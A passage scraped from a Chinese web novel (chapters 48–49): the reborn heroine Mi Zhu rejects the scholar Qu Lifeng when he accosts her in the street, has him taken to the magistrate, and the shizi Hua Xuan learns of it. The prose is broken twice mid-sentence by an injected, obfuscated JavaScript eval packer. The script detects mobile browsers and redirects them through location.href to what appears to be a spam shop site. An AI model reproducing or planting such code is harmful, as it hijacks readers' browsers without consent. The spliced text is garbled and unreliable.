忽然,她的目光一顿,看到了一个熟悉的身影。 街边拐角的地方,支了个简陋的摊子,有人在那儿卖字。 那人看着略显清瘦,背脊有些弯,青色书生服,发带有些歪,瞧着并不是很体面的书生。 是曲立封? 曲立封竟然在外头卖字? 蜜珠本能的感到惊诧。 于她来说,前尘往事如今都已经过去了,只要曲立封不凑到她跟前来,她并不会刻意去报复对方。 曲立封在蜜珠的印象中,虽然会利用女子牟利,但在明面上极为好面子清高,最怕别人看他不起,这样的人怎么会愿意抛头露面卖字? 前世曲立封从蜜珠那儿,借用了无数次嫁妆,一笔一笔的就把蜜珠的所有私房钱掏空了。 但而今一想,却又正常。 没了自己接济送盘缠,曲立封连打点书院的银子都不够,如何能参加接下来的科举。 人被逼到了穷处,自然要弯腰做点什么。 蜜珠只是心中略想了想,就将曲立封从心里逐开,也将帘子重新放下了。 但摊子边站着,正铺开一张纸给人写信的曲立封,陡然抬眸,看到了路边经过的轿子。 这轿子并没有什么稀奇,这条路上经过的达官贵人也不少,比它华贵的数不胜数,可曲立封却浑身一震,猛地僵住。 ——那是蜜家的轿子! 往日蜜珠来见他,多半都是坐着这台轿子。 这个念头冒出脑海时,曲立封心中生起一股说不清的火,身体都跟着战栗起来。 下一刻,他竟是将毛笔一扔,快步追了上来。 一旁请他写家书的是个老翁,正一字一字的念自己想写给家中的信:“下月就能回来,家中不用惦记…” 话还未说完,就见方才还认真听他说话写字的后生,忽的跟中了失心疯一般,将毛笔往桌上一掷,站起来跌跌撞撞往路边跑去。 “哎!后生!后生!” 老翁下意识喊他,却不见对方回头。 这条街上的人听到了动静,顿时都回头看去。 于是,长街上出现了这么一幕,一个书生打扮的男子,正追着贵人家的软轿跑,一边跑一边还喊着:“珠儿!等等!珠儿!” 咦? 注意到这一幕的人,察觉这是一桩涉及了贵族的艳事,顿时都竖起了耳朵等着看热闹。 “珠儿!珠儿!停!轿子停!” 曲立封一路追过来,拦在了抬轿子的家丁面前,伸出双臂挡着,愣是不让他们前行。 48.第 48 章 小柳儿先从软轿里跳了下来,见是谁敢这样当街拦他们家小姐,还喊着小姐的闺名。 然而一下轿,却看见了曲立封,登时心中很是意外和惊诧。 都许久未见到曲公子了,没想到今日对方会这般激动地追过来。 小柳儿立刻挡在软轿前,对曲立封呵道。 “你好大的胆子!” 一边这么说,小柳儿心中一边捏了把汗,期待着曲立封能看懂眼色,知道退下。 否则如此这般,在众目睽睽之下让人瞧了热闹,只会损害他们家小姐的名声。 往常谁都知道,曲立封是个好面子的人,哪怕穷到家徒四壁了,但还是要在面子上做出一副阔气样来。 过去小柳儿都按着她家小姐的意思,给曲立封送过好几次盘缠了,每次都顾忌对方的面子,并不直说,只把钱留下。曲立封就也都是先一番推辞,而后才做出一副愧疚难言的模样收下,然后对着小姐好一阵许诺,说着来日金榜题名了,一定要八抬大轿把自家小姐风风光光娶回去。 这些话听多了,就连小柳儿都会背了。但也能知道,其实曲公子兜里没银子,是盼着小姐多送一些盘缠的。 只不过是要面子,才会扯上那些话。 而今这人竟然连面皮都不要了,当街拦住她们小姐,也不知道想干什么。 曲立封看到小柳儿,顿时急道。 “让我和珠儿说几句话。” 他已经好些日子没有见到蜜珠了。 自从那天夜里被关到柴房待了一夜后,曲立封对蜜珠就生出了几丝恨意。 凭着他和蜜珠青梅竹马一起长大的情谊,蜜珠就算不当他的正妻,也是要给他当个姨娘,做他女人的。 可是偏偏就是这个他以为最最单纯的女子,竟然忽然变成了蛇蝎心肠,攀附了南宁王府的婚事,就将他扔到一边,翻脸如此迅捷,这种毒辣女子简直辜负了他的情意。 本来曲立封对蜜珠已经算恨到深入骨髓,夜里想到对方都会翻来覆去的咬牙切齿,觉得蜜珠是嫌弃自己家道中落,尚未功成名就,才会这么对自己。 他顾忌着蜜老爷那次放的狠话——他若再来蜜府纠缠不休,便令人撤去他在书院的资格。 蜜老爷虽是从五品的太史令,但多少也是个京官,在京城这些年盘根错节的,手里是有人脉的。真要对付一个只有秀才功名的落魄书生,自然有些手段。 曲立封认定了自己将来一定会位极人臣,对科举寄托了极大的期待,怎么可能愿意拿自己的前途开玩笑。 是以这段日子,哪怕心中对蜜珠恨到滴血,却也忍住了,没有再去找对方。 最多心中难受到不行了,绕着蜜府不远不近的走上几圈,心中想着三十年河东三十年河西,等他金榜题名,来日成了力压蜜家的大官,到时候定要让蜜珠追悔莫及。 南宁王府算什么东西!只不过是前朝余孽生下来的后裔罢了。 按曲立封的想法,长公主也是个眼瞎的,明明生在皇族中,无论配谁都行,偏偏瞧上了前朝余孽当驸马,连带着生下来的儿子也成了个傻子。 这样的王府,完全靠着长公主的脸面撑着,根本没有什么实权。 外强中干的货色罢了。 蜜珠嫁给这样的人家,能风光到几时。 反倒是他,只是眼下暂时的窘迫,龙困浅滩罢了。 可叹这世间众人,全都没有伯乐眼光,竟都瞧他不起,一个个狗眼看人低,只会落井下石。 但这又何,他曲立封是堂堂正正的大丈夫,将来是一定会站到高位的。 这些日子,靠着对蜜珠的恨意,还有将来想让对方追悔莫及的期待,曲立封咬碎牙去做从前不愿做的事,还接起了替人写字的活儿。 昔日韩信都能受胯下之辱,他不过是替人写几个字罢了,又有何难。 只是这个活计毕竟是这辈子头一次做,能撑下来,全都是靠着对蜜珠的一腔恨意。 而今见到了蜜珠,曲立封一时间没收住,竟跟了上来。 其实事到如今,他依然弄不清楚,为何蜜珠对他往日的那些小女儿情意,就那么突兀的没了。 小柳儿哪里能让曲立封见到自家小姐,见对方呆呆愣愣,眼睛一直直勾勾看着轿子,心中一狠,跺跺脚对家丁道。 “这不知道哪里撞上来的登徒子,还不知道拿下吗!” 家丁们愣了愣,随即对视了一眼,放下轿子,伸臂去拿曲立封。 然而曲立封却兀自躲闪,扯着嗓子道。 “珠儿!你出来我只问你一句话!你竟连见我都不敢吗!” 这毒妇做了如此狠心的事,连一面都不让他见,难道是怕他会害她的婚事? 一时间,曲立封察觉自己这段日子以来,像个戏台上的傻子一般,心中将人百般记挂,人家却已经转过头将自己完全忘了。 外头的动静闹大了,蜜珠又不是聋子,在轿子里自然是听到了声音。 家丁将轿子放下来的时候,她顿了顿,缓缓掀开了帘子,心中并不如何起波澜。 再见曲立封,虽然意外,却并不如何慌乱。 她从轿子里探身出来,面容素净并未上什么脂粉,但红唇不点而朱,眼波也潋滟动人,这让路边原本就存了看热闹心思的行人,一瞬间心神皆被震动。 世上竟有如此美丽的女子! 甚至有人倒吸了一口冷气,觉得今日出门没看黄历,但运气定然是极好的,否则就不会有好运瞧见这么出水芙蓉的倾城佳人了。 如此也能理解,为何这穿着青衫的书生,会忽然不顾礼仪,在当街这般追着大户人家的千金小姐。 这在天子脚下,还是少有的事儿呢。 原来是人家姑娘生的太过于花容月貌了啊,这也就能理解了。 毕竟那些话本中,多的是书生对倾城佳人一见钟情,甚至到浑浑噩噩犯花痴的程度。 窈窕淑女君子好逑嘛,这是雅士。 但凡事儿扯到读书人头上,无论什么言行举止,总能圆上来几分,不至于像个纨绔一样稍微做点什么,就让人心中鄙夷。 众人看清了蜜珠的面容后,全都乐呵呵瞧着曲立封,认定了这是一桩风流雅士。 “不知曲公子拦我所为何事?” 蜜珠注意到了四周行人的目光,却只当看不见,只面容平静地看向曲立封。 再见故人,她心中几乎已经不起任何波澜了。 然而她能平静,曲立封那边却如遭雷击,面对蜜珠毫无起伏的模样,一时心头血气上涌,挣开了家丁的束缚,低喝道。 “我只问你一句,我们自小青梅竹马长大,缘何你如今对我这般心狠?” 这事儿怎么想心里都想不明白。 往常曲立封自觉自个儿对蜜珠也没有不好,他只是囊中羞涩,才没有送东西,但却没少给承诺啊。 男儿的承诺才是最重要的,不是么。 蜜珠凭什么对他始乱终弃,半道上将他扔掉? 而且还是用这么不体面的方式,让家丁把他绑起来关到柴房,几乎是把他的面子踩在了脚底下,在折辱他! 问着这些时,曲立封本还只是做出面上的悲痛,但说着说着就动了真感情,看蜜珠的眼神也顿时充满控诉。 蜜珠轻轻蹙眉。 “我听不懂曲公子的话。” 她倒是不明白,这辈子曲立封对她这种理所当然的认定从何而来。 难道只许他上辈子位极人臣,榨干了她所有的嫁妆与名节后,将自己弃若敝屣当成下堂妇关起来,却不许自己这辈子提前看清对方的嘴脸,不跳这个火坑么? 若去较真,曲立封算是毁了她前世的仇人。 只是蜜珠不愿去和这样的人拉扯,而让自己心情受到影响罢了。 “珠儿,你不要用这种眼神看我!”曲立封被蜜珠如今这种冷淡眼神,瞧的整个人都不舒服了。 他几乎是低吼出声。 “你明明许过我,将来等我金榜题名了要嫁给我!为何出尔反尔!” 是,这些日子他的确是恨着蜜珠,但越是恨,却也越是在这种失去后的痛恨中,明白了这样一件事——往日蜜珠待他是最真心的。 没了蜜珠悄悄给的盘缠和帮衬,他如今几乎是举步维艰,就连维持生计都困难。 早年爹娘留下的产业,几乎都已经典当干净,只剩下一个住的地方。 曲立封又不懂店铺经营,手里哪怕有了点蜜珠给的银子,也都是马上用到了紧要的应酬和束脩上。 毕竟是要在书院里和其他同窗一起谈天说地的,怎么能在其他事情上太过于窘迫拮据,以至于短了对方一头呢。 蜜珠于他,就像是已经喝腻了的白水,有的时候只习以为常,但忽然没了,才察觉人没了水,活得是如此艰难。 想起过去蜜珠对自己的百般柔顺和依恋,再看着如今站在跟前面若桃花,但却冷淡到像是看陌生人的女子。 曲立封攥紧双拳,不明白这其中到底哪里出了差错。 当今天子要给蜜珠赐婚,和南宁王府世子成亲,这事儿无法躲避,他可以理解。但为何蜜珠能这么快的就变了心意。 难道他连一个痴傻的男子都及不上吗? 往日曲立封觉得蜜珠好哄极了,甚至有些天真到蠢笨,好像无论他说什么,对方都会马上相信,并且死心塌地对他。 就是因为这一切从小就有,并且是唾手可得的,哪怕知道蜜珠长得天香国色,曲立封也只觉得这是自己天经地义就拥有的,并不如何稀罕。 这是头一次,曲立封希望蜜珠还是从前那样,哪怕天真到好骗,但至少是他曲立封的。 也好过如今这样淡漠冰冷,仿佛在看什么路边经过的脏东西一般。 曲立封身为男子的自尊心,被狠狠刺痛了。 他瞪着蜜珠,往日看着清俊的脸,而今憔悴了很多,眼珠里甚至有一些红血丝,瞧着莫名就没了以前的那种温文尔雅。 “你说话啊!” 四周行人的目光,曲立封不是没注意到。 只是他如今已经无暇关注旁人的眼光了,蜜珠素来就深居简出,自从将他那夜打入柴房之后,就几乎没出过门,没再让他逮到机会见面。 好不容易能遇见他,曲立封脑中已经没了蜜老爷先前的那些警告。往日的理性,如今荡然无存。 蜜珠就好像是他最后一块遮羞布,如今被人狠狠撕扯下,他已经不能像个两袖清风的君子一样,坦坦荡荡活着了。 瞧他现在过的是什么日子!他在给人写字!靠着卖字挣钱! 一个将来要当状元的人,如今却只能将自己引以为豪的一手好字,贱卖成铜板!简直是在侮辱他! 一切的不如意,都被曲立封怪到了蜜珠对自己的抛弃上! 小柳儿都被他这般疯魔的样子,吓的小脸煞白,试图挡在面前,将自家小姐护在身后。 然而蜜珠却只是拍拍她肩膀,示意她放松下来。转而对着一直对自己怒目而视的曲立封,忽的展颜一笑。 她笑起来当真是令六宫粉黛无颜色,红唇弯弯,杏眼也明亮,瞧着能令人堕入到温柔乡里再也不醒来。 曲立封看到了蜜珠的笑颜,一瞬间以为两人之间回到了当初还算两小无猜的时候。 是了。 曾经他和蜜珠多好啊。 不论他做什么,哪怕只是随便吟一首诗,蜜珠都会充满仰慕的看着他,仿佛他是天底下最最伟岸的男子。 这种一瞬间的恍惚,几乎让曲立封以为,昔日对他爱到死心塌地的蜜珠,重新回来了。 “曲公子,今日你这般冒昧的当街拦我,可有想过后果。我与你不过是年幼时相识一场,又念在你失去双亲,给过一些帮助。我们之间似乎并无仇怨,要细说起来,也算有点情分。但你为何要故意毁我清誉,做出这副模样来质问我,让旁人看了议论纷纷,甚至误会我们?” 蜜珠的声音虽然柔和,但语调却是冷的。 她站在那儿,只不过说了这么一长段话,四周围观的路人,却能看出这姑娘定然是个打小就谨守礼仪的性子,所以讲话时不卑不亢,哪怕被男子堵在了长街上,也依然平平静静。 蜜珠这般坦然,更加让众人觉得,她和那书生打扮的男子之间,定然是有什么误会。 否则,只凭借曲立封方才说的那些话,就能给人一种蜜珠早就已经和他私定终身,但却半道上始乱终弃的印象。 曲立封却见不得蜜珠淡定,伸手去捉她胳膊。 “珠儿!你不能如此待我!往日你待我的好,你都忘了吗?” “那世子只不过是痴傻儿,你嫁给他有何好,他知道如何疼你吗?” 他模样疯疯癫癫,说话越来越过分。 蜜珠柳眉轻皱,轻轻避开了对方伸过来的手。 有过阿晴教习和无名一段时日的训练后,她的反应的确是比以前快上一些,面对曲立封这样不通武艺的男子,她也能迅速避开对方的动作了。 一捞没有捞到,曲立封心中怒火更盛,正要继续扑过去,却见四周的家丁已经在蜜珠的示意下,熟练地将他双手反剪在背后,牢牢摁住他。 背后一阵剧痛传来,曲立封双臂都感觉快断了。 “手!别弄我手!疼!” 他可是读书人啊,将来是要靠这双手得中状元的,怎么能有丝毫损伤。 被这股剧痛一制,曲立封顿时清醒了很多,知道如今的蜜珠,早就已经不是曾经的那个少女了。 想来今日是他过于莽撞,太久没有见到蜜珠,猛不丁撞见了,才会鬼使神差做出如此举动。 这下好了,满京城都要看他的笑话。 所有人都知道他被一个女人无情的辜负了。 他曲立封还有什么颜面? 大概是事已至此,左右已是坏的结果,曲立封低着头,满额冷汗,咬牙开口。 “蜜珠,我有最后一句话,要单独和你说。” “说完我就走,保证再也不在你面前出现。” 生怕蜜珠不理他,曲立封急忙保证,眼眸盯在蜜珠身上,竟然也有几分可怜。 蜜珠不置可否,平静看了他一会儿,缓缓走过来。 “你说吧。” 曲立封挣扎,示意四周的人放开对他的压制。 “我毕竟是个有秀才功名的读书人,何必如此对我?” 他这话一说,蜜珠眼眸闪了闪,莫名想起来上辈子对方位极人臣后,说的那句话——我如今毕竟已经是首辅,如何能配一个家世门第不显的女子做妻子? ——何况你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665590|137955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还有克夫命格。 为了让自己更加名正言顺的更换发妻,曲立封甚至能给蜜珠捏造一个克夫命格,把南宁王府世子早逝的原因,扣在了蜜珠身上。 蜜珠的恍惚只是一刹那,她很快回过神,望着曲立封时,红唇勾起。 白桃似的漂亮肌肤,像美玉一样光滑,怎么看都是月宫仙子一样的存在,明媚的双眸这么一笑,像是能把人的魂都勾了。 曲立封和四周的人,看着这样的蜜珠,都有些恍惚了。 美人如斯,实在很难令人移开目光。 “曲公子,你今日说了很多笑话。” 蜜珠一句话就打破了曲立封所有因为这个笑,而生出的些微幻想。 “其一,男未婚女未嫁,我与你之间并没有什么干系。你这般跑来质问我,是将我至于不仁不义之地。倘若你我之间当真有什么,怎么到如今都没个婚约定下?” “其二,我与南宁世子是当今陛下亲自下的旨赐婚。” “长公主又在这个月亲自来府上下聘提亲。” “敢问你是用的什么身份,站在这个位置来质问我?” “若是人人都像曲公子你这样,借着过去认识的情分,如此不清不楚的来与我纠缠,我若是气性大一点,为了证明清白,岂不是要一头撞死?” 她说话并不快,但每一句都显得掷地有声。 蜜珠走近一步,明明身量不如曲立封,而且还是个娇小纤细的女子,腰肢更是盈盈一握,但放慢了语调不疾不徐开口时,却莫名令人生出一种不敢冒犯的气势。 曲立封更是怔在那儿,一张脸煞白。 被家丁抓住关在柴房的那一夜,他只觉得一切像是命运劈头盖脸扇来的巴掌,来的太过于突兀,以至于他所有的心神都在憎恨蜜珠上,无暇体会失去的痛楚。 直到此刻,直到此刻… 时隔多日,亲自站在蜜珠面前,看到她往日会因自己灿烂弯起的一双明眸,如今已经没有半点情意,看待他是真真像个陌生人,还如此冷静,将那一句句话说出口。 曲立封不知为何,心口莫名一股剧烈的绞痛。 就好像有什么命中注定,本该属于他的很重要的东西,在他没有注意到的时候,悄悄溜走了。 是什么? 失去了一个蜜珠,又有什么? 反正他不是本来就瞧不上蜜珠那股子畏畏缩缩的劲儿,觉得对方没有当一府主母的风范吗? 怎么会忽然心中如此绞痛,活像是被人挖走了一块最嫩的心头肉。 “珠儿…”曲立封眸中闪过几丝痛楚,还有痛楚过后的狠厉。 他得不到的,也不想让别人得到。 南宁王府凭什么,凭什么将他的相伴多年的青梅抢走? 倘若不是那一道圣旨,蜜珠永远不会变成今日这样,都怪皇帝,都怪南宁王府,都怪这世道! “珠儿,我可以抛弃一切,只要你愿意与我走…” 曲立封像是疯了一般,被一种突如其来的热切情感裹挟,他说出了以前根本不敢承诺的话。 “我们远走高飞,去一个没有人认识我们的地方!我们走!” 曲立封根本不知道,在旁人眼里,这个样子的他就像是得了失心疯。 世人都推崇读书人,但凡是穿上书生的衣裳,打扮得体了出去,穷苦老百姓多半都是敬个几分。 为何,因为读书认字了,就比他们这种地里刨食的,要多上几丝体面,更多一些智慧。 哪怕是有些失了良心,赤身不正的读书人,在面上也总要装出点样子的,这样才符合世人对斯文人的期待。 何曾见过曲立封这样的书生? 大庭广众之下,竟然去勾搭好人家的姑娘,嘶吼着要人家抗旨拒婚和他私奔。 围观众人纷纷瞪大了眼睛,倒吸凉气,乖乖不得了啊,今日竟然旁观了这样一出炸裂的大戏。 陛下御赐的一桩婚事,竟然被人这么光明正大撬墙角,这书生是真不怕被砍头啊。 一时间,众人议论纷纷,眼睛都不舍得眨一下,生怕错过半点秘闻。 小柳儿见这模样,气的不断跺脚。 蜜珠却只是心平气和看着曲立封,红唇一绽,对着一副痴痴望着自己,仿佛要为了自己豁出一切的青衫书生,轻声细语道。 “南宁世子是天上的月亮仙人,我三生有幸才能嫁给他,你算什么呢。” 曲立封心如被石头撞击,狠狠一痛。 他怎会及不上一个傻子? “珠儿,你…你怎么舍得这般对我说话?” 曲立封试图说情话。 他知道,过了今朝,往后再要有这样的机会看到蜜珠,怕是也难了。 他本是要做好准备参加科举的人,如今却为了儿女情长,这么抛下脸面去纠缠。 想必不论是同窗,还是昔日认识他的人,多半都会在背地里嘲笑他,或者是看低他。 但那又如何。 今日若是不竭尽全力去做点什么,和蜜珠说清楚心里话,他怕自己往后会后悔一辈子。 大概是真的失去之后,才发现曾经拥有的是世上绝无仅有的美玉,举世无双。 他却曾经不够珍惜。 是不是因为这个,上天才会让一切变成这样,来刻意惩罚他? 曲立封皱着眉看蜜珠,想要去抱住她。 “珠儿,你我之间本不该这样…跟我走吧,我会对你好…” 然而这一次,手还没伸出来,蜜珠就已经退开一步。 曲立封再次扑了个空,身体踉跄没站稳,方才一直笑意吟吟的蜜珠却已经冷下了面孔。 “来人!将这人扭去送官!” “路边随意轻薄女子,这双手哪里是读书人用来匡扶家国天下和正道沧桑的手!” 蜜珠话音落下,家丁已经再次狠狠拧住曲立封手腕,压在背后。 曲立封登时就发出了惨叫,看似这手伤得不轻。然而路边围观的众人,这会儿却没人敢出声说一句。 南宁王府在平头百姓眼里,那已经是大象一般的粗胳膊大腿了,哪里是他们这些小民能看热闹的。 在知道了蜜珠是被皇帝下旨赐婚的人后,众人就都晓得了她的身份。 毕竟满京城里能被赐婚的姑娘,掰着手指算都少,就那么几个。 再提到南宁王府,谁和谁不就都明了了吗。 只不过谁都没想到,在这桩赐婚背后,竟然还藏着这么一件隐秘的风流事。 太史令家的大姑娘,不愧是倾国倾城的美人,哪怕已经许了人家,被南宁王府下了聘礼,依然有男子为了她疯狂,甚至拦在大街上企图让人家的好闺女和他远走高飞。 也难怪这蜜姑娘气的要把这书生扭送到官府了。 换成是他们,若有这么一个如珠如宝的闺女,定然也是当宝贝疙瘩一样疼着,哪里愿意被突然冒出来的一个穷书生给坏了姻缘和名声啊。 所以当家丁把曲立封送到官府时,围观众人纷纷拍手叫好,仿佛蜜珠替天行道,刚刚除了一个恶霸一般给面子喝彩。 曲立封佝偻着腰,被身体强壮的家丁死死反剪着双臂,额上都是痛出来的汗。 他这一刻心如死水,彻底认清了现实。 不甘、愤怒、后悔、憎恨、心痛… 49.第 49 章 种种情绪交织,曲立封原本清俊的一张脸,此刻扭曲狼狈到像是要吃人一般,一双眼睛更是布满血丝。 路过的幼童看到他的样子,吓到哇得一声哭了出来。 幼童被一个妇人抱着,看到孩子被吓哭了,忙侧过身安抚着拍拍孩子的后背。 “不哭不哭,哎哟世风日下,如今竟是连读书人里也出败类了。家道败落,被人家帮衬了,不仅不心怀感激,还想着坏人家姑娘清誉…” 路边有刚来的人,听到了这话,好奇其中深意,便问这妇人。 “你认得他们?” 方才只听到有个书生拦着一姑娘,不让人家走,还在那百般哀求,倒是没听清楚到底说的什么。 “认得啊,和我住一条街上嘛。这一男一女我都见过,往常我们就猜曲家这小子,家中没什么资财,靠的什么这潇洒,哪怕双亲亡故了,依然能日日下馆子喝茶,还常常与那些个富家子弟去游船。后来就知道了嘛,是靠人家蜜家心善厚道,常常给曲家小子盘缠,有几次还被我们撞到过小厮丫鬟来送银子……” 这妇人本就爱热闹,喜好说些家长里短的事,如今见到街上的都是熟人,且四周众人还不知道真相,都来问自己,登时就起了兴。 众人好奇:“这么说,这太史令家和曲家,从前是世交?” 那妇人抱着孩子拍了拍:“这我可不敢说。贵人家的关系,哪里是小老百姓一张嘴能评判清楚的。我只知道曲家小子的确是欠了蜜家的恩情,但要说这两人之间有个什么婚约,那我还真从来没听过。” “太史令家的两个姑娘素来不爱出门,我都没见过几次。要不是那蜜大姑娘姿容实在是出众,跟个天仙似的,我见过一次就不会忘,今日都不一定能认出来。但那曲家小子就不一样啦,他天天打我家门口过,都是一个胡同里的,能不熟悉么?” “哦!竟是这样!” “那蜜大姑娘当真和曲家郎,没有半点情意?” 有人也提出了质疑。 毕竟男未婚女未嫁的,又算是青梅竹马了,这年头还能惦记着对方双亲不在,一直给盘缠资助,这里头就没点其他的意思在? 妇人顿时扯开了喉咙道。 “哎哟这话我可不敢说,要是让南宁王府和当今陛下知道了,少不得要给我治一个多嘴多舌的罪。没看曲家小子都被扭送到官府了吗!你们也可得收着点,管住嘴巴,没得因为看热闹,而把自己栽进去的事儿。” 妇人一番话说完,原本看着热闹还说点闲话的行人,也都回过神来,一个个摇着头散了。 富贵人家的事儿,和他们又有何干系,也不过是看看热闹罢了。 不过方才只看那一男一女的模样,到底还是那蜜家大小姐更加令人心生好感,语调温柔,但却有礼,哪怕那书生极尽冒犯,也都忍住了好好说道。最后还不是书生太过分,直接往人家清白姑娘身上扑,还说些挑唆人家私奔抗旨不婚的事儿,才把蜜家大小姐惹火了? 是非公道众人都有眼睛,便也只唏嘘着想想,感慨一下。 但对今日身处其中的几人来说,此事便不是那么简单了。 南宁王府中的某人,也很快得到了消息。 当听到自己未过门的妻子,被一个书生堵在了半道上轻薄,华宣那张过于俊逸的脸,一瞬间沉了下来,神情冷到像在释放冰霜。 “是何人?” 暗卫低下了头:“那人叫曲立封,属下先前调查过…” 其实曲立封这人冒出来搞事的苗头,之前就已经有了。 尤其是在他按照世子的吩咐,特意调查过对方后,知晓了那人对未来世子妃的不怀好意,且在陛下赐婚之下,似乎蜜姑娘也对曲立封有过些许女儿家的情愫,他就犹豫过,是否要如实和世子禀报。 只不过他当时才开了个头,世子就没让他再继续说下去了。 虽然暗卫不懂那些个男欢女爱,但也能猜到,世子爷是不愿听太多话,以免介怀。 毕竟蜜珠姑娘过去如何,也全都已经过去了。 人家姑娘长得天香国色,就是有个把男子纠缠不休,也怪不到人家弱女子身上去。 但今日在长街上这一番闹剧可不一样,众目睽睽之下,这么多人都看到了。 若不是看蜜珠姑娘处理起曲立封,手段尚算凌厉,暗卫都要出手将这人拿下了。 等他将今日见到的这一幕,全都给华宣说完后。南宁世子陷入了长久的沉默。 就在暗卫以为,世子将要大发雷霆时,却见世子黑眸扫来,声音低沉问他。 “她当真那么说?” 暗卫:“???”没听懂世子爷问的是哪一句,于是脑袋里疯狂搜寻,蜜珠姑娘今日说过的每一句话。 华宣就在暗卫的沉默中,嘴角一点点压下去,然后咳嗽了一声,若无其事问道。 “就…那无耻浪荡书生企图让她远走高飞时,世子妃回的那句。” 啊!世子爷是想听这句话啊。 暗卫立刻懂了,一字不漏把那句话重新重复了一遍。 ——南宁世子是天上的月亮仙人,我三生有幸才能嫁给他,你算什么呢。 华宣久久不语,但黑眸里亮起的光却昭示着,作为蜜珠口中的月亮仙人,他很愉悦。 虽恨那无耻书生竟然贼心不死,在未婚妻已经有了婚约的情况下,依然想着挖墙脚,还如此光明正大,一点不怕败坏蜜珠的名声。 但有一点,他也因此而知道了,未婚妻对自己的维护之心。 这辈子华宣听过许多人在背地里的冷言冷语,毕竟南宁世子痴傻病弱的名头,早在被传出去的那日起,就成了定局。 他听惯了旁人在私底下提起南宁世子的惋惜嘲讽和种种惊诧,却唯独没听过蜜珠今日这样的维护之语。 “拿我的令牌,去一趟县衙。” 华宣恢复了往日的平静面容,吩咐暗卫去办事。 于是没过多久,京城县衙就一下子来了好几波人。 罗知县每日来衙门里办差,都有些胆战心惊,但凡是来一波官司,定要小心打探一番,当事人背后是否藏着什么大佛。 没办法,天子脚下这么多皇亲贵胄,打断胳膊连着筋,他要是不小心,保不准一脚踩下去,就把一尊大佛给请了出来。 那到时候,他只不过是一个区区知县,哪里能抵得过真正的贵人。 罗知县平日里小心翼翼,惯会看人下菜碟,只要来官府的苦主背后没什么背景,他多半都是活个稀泥了事。 只等着任期满了以后,调离京城,从此天高皇帝远,能做个山大王。 听闻蜜太史令家的大小姐,遣送了一名秀才到衙门来,罗知县只是摸了摸山羊胡,并没有马上做决断,甚至都没亲自去看一眼二人。 “今日被送来的是一个书生?说他在街上动手动脚?”他摸着胡子,并不怎么相信此事。 书生都要脸,怎么会做出如此行径,又不是纨绔子弟,闯了祸身后有人擦屁股,书生最是洁身自好,哪怕背地里做些龌龊事儿,明面上还是要注意几分的。 况且,读书人是最不能随便轻视的了,谁知道里面有没有文曲星投胎,出身穷一些,但文采好运道好,凭着科举一步登天中了举人老爷的,历来也有许多。 “不过是一桩口角纠纷,一个书生能做什么事,未免过于夸大。” 罗知县听闻过蜜珠的名声,和南宁王世子定了亲,但那又如何。不过是一介凭着几分姿色,被当成联姻工具笼络人心的妇孺罢了。 罗知县自己就出身贫寒,且又经历过多年的寒窗苦读,所以本能的站在曲立封这边。 但凡是闹出什么纠纷,多半都是那些女子仗着姿色去魅惑书生,坏他们求学上进的道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13672750|137955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心。 罗知县这般愤愤的想,便打定主意,等蜜珠前脚离开,他后脚就把曲立封放了。 读书人能造成什么伤害。未免太过于小题大做了。刑不上大夫,这句话可不是就说说。 罗知县天然就站在曲立封这一边,对个小题大做仗着貌美的女子,并没有什么好感。 蜜珠和家丁们把曲立封送到衙门以后就走了。 她还赶着去白家,和姜白二人一同温习明日月夫人要提问的内容。 曲立封本狼狈的被扔在县衙大门处,只不过蜜珠等人一走,就有里头的衙役走出来,预备按照知县老爷的吩咐,把曲立封放了。 毕竟今年有乡试,说不准这曲立封就能拔得头筹,到时候若是知恩图报,也是给罗知县铺了一条路。 年岁渐大,在官场上罗知县已然失去了再往上爬的盼头。 能够期盼的也就是昔年的一些同僚,若是有机会了,把自己拉一把。 但有时候罗知县这样的人精,也会适当看人下注,提前结交一些有才名的书生,算是结个善缘,反正不费什么劲儿,来年若是真的有回报了,也是意外之喜。 就是没能下注成功,罗知县也不会有什么损失。 衙役都已经习惯了罗知县对于同样是读书人的相护,所以走过来和曲立封说话时,特意点他道。 “我们罗知县明察秋毫,晓得曲公子是读书人,将来是要参加乡试拔得头筹,甚至金榜题名的。便不想让公子无缘无故受些侮辱,今日之事就且作罢,曲公子回去后也低调一些,不要再往那些事上撞了。” 衙役挤着笑容出来,甚至还帮着搀扶了曲立封一把。 这让原本做好了最差准备,已经心如死水的曲立封整个人回过了神。 “你们知县大人竟信我?” 他嘴唇抖动一下,宛若见了什么救星一般,忽然急切起来。 “蜜珠本就该是我的妻子!她本该是我的!” 方才他浑浑噩噩间,脑海竟是忽然多了很多画面,里面有许多蜜珠和他在一起的情景。 就像人死之前的走马灯一般,所有的画面疯狂闪过,等到他清醒过来就发现,自己人已经被丢到了衙门。 虽然他不知道为何脑海中会多出那些画面。 可按照他的了解,蜜珠本就该和那些画面中的性子一样温和,愿意陪着他吃苦,伴他来日一步步走到首辅的位置。 那些本该按照命运轨迹发生,却没能发生的事情,就像从没存在过一样,在他如今的生活里,被完全抹去了。 明明在脑中出现的画面里,那天夜里蜜珠同意了和他相会,他们后来也如愿以偿在一起了。 南宁王府更是在后来传出了暴毙的消息,蜜珠成了众人眼里拥有克夫命格的人,是自己顶着所有压力依然选择继续娶她。 